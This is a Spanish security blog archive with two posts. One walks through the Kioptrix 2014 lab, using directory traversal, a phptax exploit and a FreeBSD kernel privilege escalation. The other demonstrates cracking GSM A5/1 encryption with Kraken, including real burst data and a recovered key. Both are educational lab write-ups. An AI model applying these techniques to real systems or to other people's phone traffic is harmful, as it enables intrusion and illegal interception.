Un blog de Seguridad Informática, desde un punto de vista tecnológico

Archivo para julio, 2017

Welcome to Kioptrix VM 2014 – Walkthrough

Introducción

Con este post se inicia una pequeña serie de artículos con las soluciones a determinadas máquinas de Vulhub (https://www.vulnhub.com/cuyo nivel de dificultad es parecido a algunas de las máquinas que hay en el laboratorio de la certificación OSCP (https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/) y que por tanto pueden servir como preparación para la certificación (o refrescar conocimientos). El listado de estas máquinas, ordenado de menor a mayor dificultad, es:

  1. Kioptrix 2014 https://www.vulnhub.com/entry/kioptrix-2014-5,62/
  2. FristiLeaks https://www.vulnhub.com/entry/fristileaks-13,133/
  3. Stapler https://www.vulnhub.com/entry/stapler-1,150/
  4. VulnOS https://www.vulnhub.com/entry/vulnos-2,147/
  5. SickOs https://www.vulnhub.com/entry/sickos-12,144/
  6. Brainpan https://www.vulnhub.com/entry/brainpan-1,51/
  7. HackLAB Vulnix https://www.vulnhub.com/entry/hacklab-vulnix,48/
  8. /dev/random scream https://www.vulnhub.com/entry/devrandom-scream,47/
  9. pWnOS https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
  10. SkyTower https://www.vulnhub.com/entry/skytower-1,96/

Ahora es turno de ver cómo se resuelve la máquina Kioptrix 2014, y de la metodología que se ha seguido, paso a paso. En el resto de máquinas no se ofrecerá tanto detalle como en esta.

Information gathering

Información, la información es la clave. Enumerar, enumerar y volver a enumerar. Cuanta más información se obtenga del objetivo más fácil será ganar la partida, conseguir llegar a ser root.

Para empezar, obviamente, lo primero es obtener la dirección IP de la máquina objetivo. Esto se consigue mediante el uso del comando «netdiscover -r «:

Una vez ya se sabe la dirección IP el siguiente paso es realizar una enumeración de puertos e identificación de servicios. Es necesario conocer cómo la máquina se comunica con el exterior, ya que estas comunicaciones serán los potenciales vectores de entrada.

Nota: En algunos libros/metodologías  he visto como esta «parte» se considera una fase independiente de «information gathering», sin embargo, personalmente yo creo que debe estar incluida dentro.

Para realizar la enumeración de servicios (port scanning) existen diferentes tools y maneras de proceder.En este caso, se va a intentar realizarlo de la manera más eficaz posible y comprobando todos los puertos.

1-Se realiza un scan de los 100 puertos más importantes: nmap  -T4 -Pn -F –open –reason $Ip

Se han obtenido los siguiente resultados:

a) Puerto 80 con un servicio http

b) Puerto 8080 con un servicio HTTP-proxy

2- Obtener más información de los servicios detectados en el paso 1. El comando es: nmap -T4 -Pn -sV -O -p 80,8080 –open –reason $IP 

 

Se han obtenido los siguiente resultados:

a) Hay un Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8

b) El sistema operativo es, probablemente, un Linux FreeBSD 2.6.18-2.6.22

3- Finalmente, realizar un scan de todos los puertos. Este paso requerirá mucho tiempo, por eso es recomendable realizar otras tareas en paralelo, una buena idea es investigar más en profundidad la información obtenida con anterioridad.

Para realizar el scan a todos los puertos, hay diferentes opciones:

a) Utilizar el script «One-two punch» de superkojiman:

1) echo 192.168.8.139 > ip.txt

2) bash onetwopunch -t ip.txt -p tcp -n -A

3) bash onetwopunch -t ip.txt -p udp -n -A

Nota: Es posible utilizar el parámetro «-p all», para realizar a la vez TCP y UDP pero algunas veces da errores de ejecución.

 

O bien:

a) Escanear todos los puertos TCP con nmap y utilizar el parámetro -A

b)Escanear todos los puertos UDP con la tool «unicorn» o el auxiliary scan UDP de Metasploit

Una vez se han finalizado todos los scan, se realiza una recopilación de toda la información obtenida para su análisis y definición de los posibles vectores de ataque y su priorización. El procedimiento que se sigue recibe el nombre de «The low hanging fruit» y básicamente consiste en analizar y comprender toda la información que se obtiene para ordenar dichos vectores de ataque de los más sencillos y simples a los más complejos. Además,  de esta manera se evita el efecto túnel, es decir, centrarse en un único vector y empeñarse en que ese es el vector definitivo.

Si se me permite el homenaje, este procedimiento recuerda a grandes rasgos al modelo deductivo de Sherlock Holmes, donde a base de recoger indicios y  el análisis de las pruebas, se investiga cada  con más detalle hasta llegar a la única deducción posible.

«Una vez descartado lo imposible, lo que queda, por improbable que parezca, debe ser la verdad«

Por lo tanto, los vectores de ataque definidos son:

1- Puerto 80 abierto con un servicio HTTP (web)

2- Puerto 8080 abierto con un servicio HTTP

3- Software Apache 2.2.21 ((FreeBSD) mod_ssl/2.2.21, PHP 5.3.8

4- Sistema operativo Linux FreeBSD 2.6.18-2.6.22

Análisis de vulnerabilidades

En este punto, la atención se va a centrar en cada uno de los vectores descritos, (excepto el 4- Sistema operativo dado que aún no se dispone de acceso local) intentando obtener información más específica de cada uno de ellos y así determinar las probabilidades de explotación.

Puerto 80 con un servicio HTTP (web)

La batería de pruebas que se ha de realizar siempre a un servicio web es la siguiente:

1- Navegar por la web y el fichero robots.txt

2- Análisis de las cabeceras

3- Análisis del código fuente

4- Enumeración de directorios

5- Nikto

Denotar que los puntos 4 y 5 son los que pueden requerir más tiempo, así que una buena táctica es lanzar una tool de enumeración de directorios o Nikto y de mientras, realizar los puntos del 1 al 3.

Los resultados son los siguientes:

1- La navegación de la web se aconseja realizarla a través de Burp, o si se prefiere realizar una pasada muy rápida, utilizar curl puede ser una muy buena opción.

curl -i -L -s 192.168.8.139

Mediante las cabeceras obtenidas se confirman de nuevo las versiones de software de Apache, pero en el código fuente se ha detectado un path nuevo:

a) pChart2.1.3/index.php

b) El fichero robots.txt no existe

Si se utiliza otras opciones de curl es posible obtener algo más de información:

2- El éxito de la enumeración de directorios dependerá en gran medida de la lista que se utilice para realizar el fuzzing. Se recomiendan las siguientes:

En este caso utilizaremos la lista common.txt de Dirb.

Las herramientas que se pueden utilizar dependen mucho de los gustos personales de cada uno. Dirb es una de las más famosas, pero últimamente la tool que más estoy utilizando es gobuster.

3- Con la tool Nikto se ha obtenido más información:

Pero especialmente interesante es:

Puerto 8080 con un servicio HTTP

En este caso, al tratarse de un servicio web se repiten los pasos anteriores

1- Análisis de la web

Se obtiene un código 403 Forbidden, no se dispone de permiso de acceso. En este punto, es mejor parar las pruebas en este vector y ver si hay otros más fáciles.

Software Apache 2.2.21 ((FreeBSD) mod_ssl/2.2.21

Este vector está enfocado claramente al uso de software obsoleto. Los pasos a seguir siempre en estos casos son:

1- Identificación de la versión

2- Búsqueda de vulnerabilidades y exploits

3- Analizar si el exploit aplica o no en el escenario

En esta ocasión se va a proceder a buscar exploits utilizando Google y searchsploit

Existe un exploit con el nombre OpenFuck con dos versiones. Y es remoto, podría ser una buena opción.

Resumen del análisis de los vectores de ataque

Una vez se ha realizado un análisis preliminar de los vectores de ataque, vale la pena valorar toda la información en su conjunto.

1- Hay un servicio web en el puerto 80 que indica un path con el nombre pChart

2-Hay un posible exploit, OpenFuck que afecta al Apache instalado

3- Hay un servicio web en el 8080, pero es necesaria algún tipo de autenticación.

Entonces, en base a esto, los vectores de ataque más factibles son sin duda el 1 y el 2. Entre ellos, un exploit remoto puede ser la forma más directa y «fácil» de conseguir el acceso a la máquina, pero antes de darle al botón rojo y ejecutarlo, es recomendable realizar una pequeña leída tanto al código como a la descripción de la vulnerabilidad.

 

El exploit consiste en la explotación de un buffer overflow, pero el problema ocurre durante la negociación del protocolo SSLv2. Si se repasa con atención toda la información que se ha obtenido es fácil descartar el uso de este exploit, debido a que no aplica en el contexto actual. Ninguno de los puertos activos está utilizando SSL. Por lo tanto, mejor no dedicarle más tiempo a este vector y olvidarlo.

En conclusión, el vector de ataque que merece la pena seguir estudiando es el vector 1.

Explotación de pChart

Tal y como se ha comentado anteriormente, la información es la clave. En este caso, el nombre de pChart con una versión no parece ser algo aleatorio. Google es un gran aliado en estos escenarios.

Realizando una búsqueda en Google con los términos «pChart  2.1.3» el primer enlace ya conduce a exploit-db (https://www.exploit-db.com/exploits/31173/). Perfecto, pero antes de ejecutar ya los posibles exploits es recomendable recolectar algo más de información genérica e identificar el «término». En este caso,  pChart (http://www.pchart.net/) es una libreria/framework de PHP para crear gráficos.

Se repiten las mismas pruebas descritas con anterioridad para obtener aún más información.

1- Curl y navegación

2- Enumeración de directorios

 

3- Nikto

Se ha detectado un fichero ../readme.txt que permite identificar claramente la versión de pChart utilizada

En este punto, como se dispone de la versión exacta de pChart ( y recordando lo encontrado en Google) se utiliza la tool searchsploit:

Y…bingo, hay un directory traversal:

Se comprueba si la explotación es efectiva:

Y se obtiene el fichero /etc/passwd. Por lo tanto, se dispone de acceso a cualquier fichero ( si los permisos son los correctos) del sistema.

Una de las posibles acciones a realizar a partir de aquí sería empezar a descargar cualquier fichero del sistema, pero si se presta atención, anteriormente se ha detectado que hay un servicio en el puerto 8080 al que no se puede acceder por falta de autorización. Sería interesante saber que hay «allí».

Siempre que haya acceso al sistema y hayan servicios activos, una de las primeras acciones a realizar es obtener el fichero de configuración de cada uno de estos servicios.

Considerando que se conoce que el sistema es un FreeBSD y el software es Apache otra simple búsqueda en Google proporciona la ubicación del fichero de configuración que se desea.

 

La obtención del fichero se realiza de la siguiente manera:

Dentro del fichero de configuración, se encuentra la «autenticación» necesaria para acceder al puerto 8080:

Y con otra búsqueda en Google (una más) se comprende la directiva «Allow from env».

En conclusión, para acceder al puerto 8080 es necesario «autenticarse» utilizando el user-agent de «Mozilla4_browser«. En base a la documentación de Mozilla (https://developer.mozilla.org/es/docs/Web/HTTP/Headers/User-Agent) se trata de algo tan simple como:

Se ejecuta el siguiente comando:

El resultado, tal y como se ve, es que se accede al puerto 8080 y se obtiene otra «pista», en este caso el nombre «phptax»

En este momento, la información útil de la que se dispone es:

1- Puerto 80 con el software pChart 2.1.3 vulnerable a path traversal que permite obtener ficheros del sistema

2- Puerto 8080 con el servicio web autorizado y un nombre «phptax».

3- Con el directory traversal hemos obtenido el listado de usuarios y sabemos que el sistema operativo es FreeBSD release 9.0 

La mejor opción es repetir el proceso seguido con pChart pero ahora con phptax.

Explotación de phptax

Nota: Dado que ya se ha visto con anterioridad el proceso de investigación, para que la lectura sea más ágil únicamente se muestra la información más relevante.

A continuación se listan las preguntas básicas que se han de saber responder:

1- ¿Qué es phptax?

PhpTax is free software to do your U.S. income taxes

2-¿Qué información tenemos de phptax?

a) Tool Dirb

b) Versión de phptax

3- ¿Es vulnerable la versión 0.8?

Sí. Mucho. Con exploit-db y Metasploit.

Con toda esta información, ya se puede a proceder a realizar la explotación con Metasploit de la siguiente forma:

Pam, ya se dispone de una shell en la máquina víctima.

Elevación de privilegios

Una vez ya se está dentro del sistema se ha de volver a iniciar todo el proceso de investigación para determinar qué vector de ataque es el más idóneo para alcanzar root. En esta fase es muy importante el orden e ir de menos a más, de lo más simple a lo más complicado, pues es relativamente sencillo empezar a buscar por todo el sistema la manera «mágica» de obtener root y finalmente, acabar instalado en el caos absoluto.

Information gathering

Para realizar el information gathering se utiliza principalmente la guia «Basic Linux Privilege Escalation»  de g0tmi1k.(https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/).

Las preguntas esenciales que se han de responder son:

1-¿ Qué información sabemos ya?

Se trata de un FreeBSD 9.0 y tenemos un listado de usuarios. Esta versión es del año 2013. Obsoleta.

2-¿Qué sistema operativo es?

uname -mrs / uname -a

FreeBSD 9.0-Release amd64

3- ¿Quien soy?

id

uid=80(www) gid=80….

4- ¿Qué usuarios hay?

ls /home/

cat /etc/passwd | cut -d: -f1

5- Qué lenguajes están soportados?

find / -name perl*

perl -v

perl 5, version 12

find / -name gcc*

gcc -v

gcc version 4.2.1

find / -name python*

/usr/local/bin/python -v

Python 2.7.2

Esta información servirá de guía para poder escoger mejor que exploit utilizar, ya que es recomendable (siempre que sea posible) compilar el exploit en la misma máquina víctima, pero para eso es necesario que el lenguaje esté instalado.

6- ¿Qué comandos están permitidos para establecer comunicaciones al exterior?

Se utiliza el comando which, ya que realizará la búsqueda en base al PATH del usuario. El comando find también puede ser utilizado.

which nc

/usr/bin/nc

which telnet

/usr/bin/telnet

which wget

No hay respuesta.

which ftp

/usr/bin/ftp

which tftp

/usr/bin/tftp

Por lo tanto, si se ha de realizar cualquier transferencia de archivos entre máquinas, los comandos a utilizar han de ser nc o telnet (entre otros), descartando wget.

Análisis de vulnerabilidades

Las primeras vulnerabilidades que se han de probar son:

1- Comprobar el funcionamiento de sudo, y que el password del usuario no sea trivial.

En este caso, se utiliza sudo -l o sudo -V. La respuesta es «Not found».

2-Si el sistema operativo está desactualizado, ¿Hay exploit de elevación de privilegios?

Muchas veces la búsqueda de exploits de kernel o de sistema operativo para conseguir la elevación de privilegios acaba siendo un infierno, sobretodo si no hay ninguno….o por el contrario, hay muchos. ¿Cuál utilizar?

Bien, el hecho de saber que lenguajes están instalados en la máquina víctima ya ayuda a descartar (o poner en reserva) algunos de los exploits. Y otra buena ayuda es buscar información de esos exploit en Google y probar primero los 3-5 exploits «más populares» considerando el número de referencias. Lamentablemente, esto no es matemático, son solo pequeños trucos para ayudar a priorizar.

Para localizar los exploits que podrían afectar al sistema, hay varias tools:

1- Google

2- searchsploit

3- Tools como Linux Exploit Suggester (https://github.com/PenturaLabs/Linux_Exploit_Suggester)

4- Webs

En este caso, se han obtenido dos exploits:

a) FreeBSD 9.0< 9.1 mmap/ptrace (con 556 resultados en Google)

b) FreeBSD 9.0 – Intel SYSRET Kernel privilege ( con aproximadamente 6420 resultados en Google)

Los dos exploits están escritos en «c» por lo que pueden ser compilados en la máquina víctima. Pero si se ha de priorizar, mejor empezar a probar el FreeBSD 9.0 Intel SYSRET.

Es importante, antes de ejecutar cualquier código, primero leer y comprender a nivel general que hace y que requiere. Muchas veces el exploit correcto no funcionará debido a que hay alguna trampa en el código, o simplemente se hayan de modificar pequeños detalles, como un path, un nombre etc..

Explotación

Recapitulando, aquí está la lista de toda la información básica disponible sobre el sistema víctima y posibilidades de ataque:

1- Es un sistema FreeBSD 9.0, 64 bits, y obsoleto

2- El atacante es el usuario www, sin privilegios

3- No parece que haya usuarios activos (no hay nada en /home) aparte de root

4- Dispone de varios lenguajes de programación instalados, entre ellos, gcc

5-Las comunicaciones con el exterior, se han de realizar con netcat, telnet o ftp

6- Hay dos exploits candidatos

Por lo tanto, está claro que «la fruta más madura» o el vector más propicio, es probar el exploit Intel Sysret, y si no funciona, probar el segundo

Explotación con Intel SYSRET

El procedimiento es el siguiente:

1- Transmisión desde la máquina atacante a la víctima. En esta máquina, hay que tener cuidado con el sentido de la conexión con el comando nc.

a) cp /usr/share/exploitdb/platforms/freebsd/local/28718.c /tmp/kioptrix_priv_intento1.c

b) En la máquina atacante

c) En la máquina víctima

2- Compilación del exploit

3- Ejecución

Et voilà ! Root.

En el caso que no hubiera funcionado este exploit, el procedimiento hubiera sido el siguiente:

1- Probar el segundo exploit

2- Realizar otra vez la fase de information gathering con más detalle, buscando por ejemplo ficheros suid, problemas en el path, revisar los logs de acceso…

3- Definición de nuevos vectores de ataque

4- Si se sigue sin conseguir root, realizar otra vez el paso 2, elevando la intensidad, por ejemplo, procesos que se estén ejecutando, revisar el cron, software instalado etc

La idea es ir de lo más simple a lo más complejo, pero sin olvidar que hay que analizar todo en su conjunto evitando la mirada túnel, porque a lo mejor la solución está en encadenar varias vulnerabilidades.

Disfrutad de la máquina 😉

 

 

 

 


Cuando las ballenas vuelan (episodio II) – Creando un entorno de análisis GSM usando Docker (parte 3)

Esta es la tercera parte de la serie (parte 1 y parte 2) y continuará con el escenario de análisis GSM usando los contenedores creados anteriormente.

Nota importante: No hace falta decir que interceptar comunicaciones de terceros sin su consentimiento es ilegal y puede acarrear graves problemas. Este escenario se plantea con fines educativos y se ha realizado sobre comunicaciones propias. No nos hacemos responsables del mal uso de la información proporcionada.

Romper el cifrado A5/1

La siguiente fase del escenario quiere responder a la pregunta: ¿podría romperse el cifrado GSM simplemente capturando el tráfico de forma pasiva?

Y para poder responderla habrá que intentarlo, siguiendo estos pasos.

Extraer información de una captura

Antes de utilizar Kraken, se deberá extraer información de una captura como la realizada en la primera fase del escenario, decodificando el tráfico del «SDCCH8» (Stand-alone Dedicated Control CHannel with 8 timeslots) en el timeslot correspondiente (normalmente el segundo, como en este caso) con Wireshark «escuchando« en la interfaz de loopback:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8

En el tráfico habrá que buscar mensajes que:

  • Se envíen en claro antes de empezar a cifrar.
  • Se envíen de forma periódica y se conozca la cadencia de envío.
  • Tengan un valor que cambie poco o nada.

Los mejores candidatos para esto son los mensajes de tipo «System Information Type {5, 5bis, 5ter, 6}«, ya que:

  • Están presentes en el tráfico en claro antes del «Ciphering Mode Command«.
  • Se van repitiendo cada 102 GSM frames.
  • Su valor suele ser estable durante el uso de canales dedicados.

Nota: En esta respuesta de Sylvain Munaut a la lista de correo A51 está explicado el porqué son buenos candidatos. Más información general sobre este tipo de mensajes.

Una vez determinado que tipo de mensajes pueden servir se deberá escoger uno en el tráfico en claro, por ejemplo uno «System Information Type 5bis«, y obtener el GSM frame number donde empieza. 1833278 en este caso:

Antes de continuar también será necesario volcar en un fichero de texto todos los bursts del tráfico capturado utilizando el siguiente comando:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8 --print-bursts > bursts-993-23.txt

Donde cada línea del fichero contiene tres campos:

  • El frame number.
  • El frame number «modificado» (esto es un requisito del algoritmo de cifrado A5/1 y será de utilidad luego).
  • Los bits del burst.

Por ejemplo:

1829806 2825092: 100000010001110101010000000010100000000111111101010000001010000100010111010100000000101000010000010101010100000010

Nota: En este volcado la representación de los bursts sólo contiene los bits de información; en el caso de un burst de tipo «normal» = 114 bits.

Y después obtener los bursts del GSM frame seleccionado, así como de los 3 consecutivos:

# grep -A3 1833278 bursts-993-23.txt 
1833278 2831378: 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100
1833279 2831411: 001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000
1833280 2831444: 100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010
1833281 2831477: 110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010

Nota: El motivo de necesitar 4 burts es que «To transfer one system information word, four bursts are needed.«, tal y como está explicado aquí.

El siguiente paso será realizar los cálculos para saber que frames (cifrados) deberían ser del tipo «System Information Type {5, 5bis, 5ter, 6}«:

  • 1833278+102=1833380
  • 1833380+102=1833482
  • 1833482+102=1833584

Observando el tráfico en claro se ha podido comprobar que, para esta celda, los mensajes del tipo «System Information Type» se van alternando en este orden: 5, 5bis y 6, por eso se ha escogido directamente el tercero de la serie.

Una vez se tengan estos datos se podrá comprobar que el burst de este frame, así como los 3 consecutivos a este, están presentes en la captura:

#grep -A3 1833584 bursts-993-23.txt
1833584 2831372: 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
1833585 2831405: 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001
1833586 2831438: 001100011001110001000010010110111010001100001010110101100010111100110100111010010001010110010100011101011010000111
1833587 2831471: 000110110001001101001110100110000111100001101100110001001010111111011010111100010011010010110101100111111000111110

Obtener Kc con Kraken

Hechos todos estos cálculos, será hora de arrancar el contenedor con Kraken, haciendo passthrough de la partición de disco con las rainbow tables y montando el volumen que contiene los índices en la ruta /kraken/indexes:

docker run \
--device=/dev/disk/by-id/wwn-0x5000c50091dc385d-part2:/dev/xvdc2 \
--volume /media/$USER/DRIZZLECHAIR/kraken/indexes/:/kraken/indexes/ \
-ti --rm pachulo/xenial-kraken

Y pasar a hacer disyunción exclusiva de los burst en claro con los cifrados. En este ejemplo, los bursts con frame number 1833278-1833281 XOR 18335841833587:

# cd /kraken/Utilities/
# python xor.py 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111
# python xor.py 001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001
010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001
# python xor.py 100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010 001100011001110001000010010110111010001100001010110101100010111100110100111010010001010110010100011101011010000111
101000000001011000010010001110111110000000001010100110100011101100101000011111000101011111010110010111001010011101
# python xor.py 110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010 000110110001001101001110100110000111100001101100110001001010111111011010111100010011010010110101100111111000111110
110110110101101110001111100100010010010001011100111010000011101101110000111100000001110010100111100111111011110100

La lógica de tener que realizar un XOR entre los bursts es que, al final, lo que se está realizando es un ataque Known-plaintext, por lo que Kraken necesita el keystream, no el ciphertext (los datos cifrados).

Ahora ya es el momento de ejecutar Kraken:

cd /kraken/Kraken/ && ./kraken /kraken/indexes

Obteniendo la siguiente salida con información sobre las rainbow tables cargadas:

Device: /dev/xvdc2 40
/dev/xvdc2
Allocated 41301076 bytes: /kraken/indexes/260.idx
Allocated 41259888 bytes: /kraken/indexes/324.idx

...

Tables: 260,324,492,388,140,276,132,156,364,164,356,412,436,172,500,180,372,428,188,196,268,420,204,212,348,292,220,396,100,230,340,380,404,108,238,116,332,148,250,124
Commands are: crack test quit

Kraken>

Para comprobar que todo funciona correctamente se puede ejecutar un test:

Kraken> test

Cracking 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011
Found 16027103698477381980x @ 12 #0 (table:340)
Found 8050061555739560956x @ 23 #0 (table:372)
crack #0 took 167157 msec

Nota: Kraken no es muy estable, por lo que de vez en cuando pueden producirse Segmentation faults.

Otro de los detalles que hay tener en cuenta al trabajar con Kraken es que para romper una clave normalmente será necesario el ciphertext (valor cifrado) del burst anterior, por lo que se utilizarán sólo el segundo, tercer y cuarto keystream (los resultados de los XOR).

En este ejemplo, al intentar romper el segundo keystream ya se obtiene un resultado:

Kraken> crack 010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001 [118/489]

Cracking 010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001
Found 6647556174848107156x @ 29 #1 (table:332)
crack #1 took 164725 msec

Que indica que 6647556174848107156x es la clave que produce la salida en la posición 29 después de 100 «clockings».

Con estos datos ya se puede pasar a la siguiente fase, que es la de encontrar Kc con la herramienta find_kc:

# /kraken/Utilities/find_kc
usage: ./find_kc foundkey bitpos framecount (framecount2 burst2)

La cual necesita los siguientes datos:

  • La clave encontrada por Kraken (6647556174848107156x en este caso).
  • La posición donde produce la salida (29 en este caso).
  • El GSM frame number modificado del burst cifrado.
  • El GSM frame number modificado del burst anterior.
  • El valor del keystream anterior.

Los dos GSM frame numbers modificados se pueden obtener del archivo creado anteriormente:

# grep -A1 1833584 bursts-993-23.txt
1833584 2831372: 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
1833585 2831405: 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001

Mientras que el keystream, en este caso, es el resultado del primer XOR calculado anteriormente:

# python xor.py 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111

Con todos estos datos se ejecuta la herramienta:

# /kraken/Utilities/find_kc 6647556174848107156x 29 2831405 2831372 010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111
#### Found potential key (bits: 29)####
e4a3cebbf20d9b88 -> e4a3cebbf20d9b88
Framecount is 2831405
KC(0): 0e 5a 08 c9 9f 13 eb d4 mismatch
KC(1): b9 ce 5a 3d 4a 55 5d a1 mismatch
KC(2): c7 a0 20 1f 1a 10 8b 94 mismatch
KC(3): 5f 03 c0 08 5b d4 61 da mismatch
KC(4): dd 86 f9 7f d5 78 7f 1f mismatch
KC(5): d4 30 16 35 ac 91 07 7d mismatch
KC(6): 07 18 73 af b2 04 62 24 mismatch
KC(7): 56 b5 2f 42 22 3d 19 b8 mismatch
KC(8): 1e 2f f1 a1 30 25 c4 6a mismatch
KC(9): 21 e6 24 36 5e 62 9d f5 mismatch
KC(10): e4 c3 a4 e5 81 a8 ba 29 mismatch
KC(11): 8f bb 4e 08 e4 1d 0f 95 mismatch
KC(12): 16 77 32 e8 04 c8 b5 da mismatch
KC(13): f6 ad e7 81 f4 23 2b d6 mismatch
KC(14): ae 6c 6c 45 32 c9 8b ac mismatch
KC(15): 18 26 0c 0d 9d b4 84 fa mismatch
KC(16): cc f2 96 d9 79 a8 17 11 mismatch
KC(17): 74 9e 10 02 34 24 a4 2d mismatch
KC(18): 2b 97 41 82 f9 ec 9b 5e *** MATCHED ***
KC(19): 28 a8 53 6f 92 e2 fd b3 mismatch
KC(20): cf cd 84 34 12 a6 71 fc mismatch
KC(21): 19 b7 65 9c a9 5a fe 27 mismatch
KC(22): 9b 32 5c eb 27 f6 e0 e2 mismatch
KC(23): 22 f1 fd c0 d7 c7 cf 00 mismatch
KC(24): 0d dc 32 a7 cd 54 a0 c0 mismatch
KC(25): 33 56 80 22 4e a3 8b 2a mismatch
KC(26): b0 e0 16 ff ac cb 2e db mismatch
KC(27): e1 4d 4a 12 3c f2 55 47 mismatch
KC(28): fc 5f db a7 4e e8 cf 1b mismatch
KC(29): 29 4d 56 6f 6a ee 99 ba mismatch
KC(30): 33 93 6c d4 33 83 f4 d5 mismatch
KC(31): 03 ac b3 d1 8d 17 ec b7 mismatch
KC(32): 81 23 af 85 f1 30 08 33 mismatch
KC(33): 45 a4 0e a6 86 b2 a8 bd mismatch
KC(34): 15 0b e1 92 19 0a 05 d5 mismatch
KC(35): a5 e6 d4 e2 49 fa 61 19 mismatch
KC(36): f4 4b 88 0f d9 c3 1a 85 mismatch
KC(37): 12 bf 00 29 3a a1 0f aa mismatch
KC(38): 0e 61 42 19 d6 1f b5 2d mismatch
KC(39): 5f cc 1e f4 46 26 ce b1 mismatch
KC(40): 5b a2 89 64 19 ed 5f 37 mismatch

Y, como se puede observar, ¡una de las 41 claves candidatas coincide!

Utilizando Kc en un comando como este ya será posible descifrar todo el tráfico:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8 --kc=2b974182f9ec9b5e

Incluyendo el SMS recibido por nuestro terminal:

Este escenario no sale siempre a la primera, por lo que si no se obtienen resultados, se recomienda probar con otros mensajes «System Information Type {5, 5bis, 5ter, 6}» y/o con un «Actual Timing Advance» diferente (01 normalmente).

 

Conclusión

Se ha demostrado que para romper el cifrado A5/1, algoritmo soportado por prácticamente todos los móviles GSM del mundo, únicamente es necesario capturar el trafico de la interfaz aérea GSM de forma pasiva.

Además, también se ha confirmado que es posible hacerlo (aunque de una forma un poco artesanal) con hardware barato y software disponible gratuitamente en Internet.

Esto es especialmente grave dado que en el caso de España, por ejemplo, el uso del algoritmo A5/3 (más seguro y sin ataques prácticos publicados) para comunicaciones GSM por parte de los operadores es minoritario:

Vodafone has begun rolling out A5/3. To intercept subscribers of Vodafone in A5/3-enabled areas, attackers will need to use active equipment. In Spain, Movistar and Orange continue to mostly rely on outdated encryption.

Nota: Información obtenida de: https://gsmmap.org/assets/pdfs/gsmmap.org-country_report-Spain-2017-06.pdf

La única forma que como usuarios tenemos de tratar de evitar ser víctimas de este ataque es asegurarse de que el terminal no está utilizando 2G para comunicarse con la red.

 

Referencias

Teoría básica del ataque sobre A5/1 usado:

Paper de Karsten Nohl describiendo el ataque:

Y el vídeo de su presentación en Blackhat 2010:

Documentación sobre la creación del disco duro con las rainbow tables:

Los siguientes mensaje de la lista de correo A51 contienen información práctica sobre la implementación del ataque:

Este ejercicio de la universidad de Friburgo explica un escenario como el que se ha mostrado:

En esta serie de tutoriales del muy recomendable Crazy Danish Hacker se explica un escenario similar, pero utilizando otras herramientas para algunas tareas:

Información comparada sobre las medidas de protección implementadas en las redes de los operadores móviles de todo el mundo:

Bonus

Que hacer en caso de que el «Actual Timing Advance» de un paquete no sea 00

En el caso de un paquete del tipo «System Information Type {5, 5bis, 5ter, 6}« en el que el «Actual Timing Advance» (segundo byte) no sea 00 habrá que modificarlo, porque lo más probable es que en los mensajes posteriores (y cifrados) del mismo tipo este valor sí sea 00 (más información aquí).

Para ello primero habrá que obtener el hexdump del mensajeesto es, desde la cabecera «SACCH L1» hasta el final (23 bytes en total):

Siendo en este caso:

05 01 03 03 49 06 05 af e8 7d fc 80 00 00 09 00 00 00 00 00 00 00 00

Para a continuación modificarlo para que el segundo byte sea 00 y ya se pueda obtener el paquete codificado en burts con la herramienta gsmframecoder:

/gsmframecoder/test/gsmframecoder 05 00 03 03 49 06 05 af e8 7d fc 80 00 00 09 00 00 00 00 00 00 00 00
Decoding 05000303490605afe87dfc800000090000000000000000
Encoded Frame, Burst1: 
101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100
Encoded Frame, Burst2: 
001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000
Encoded Frame, Burst3: 
100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010
Encoded Frame, Burst4: 
110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010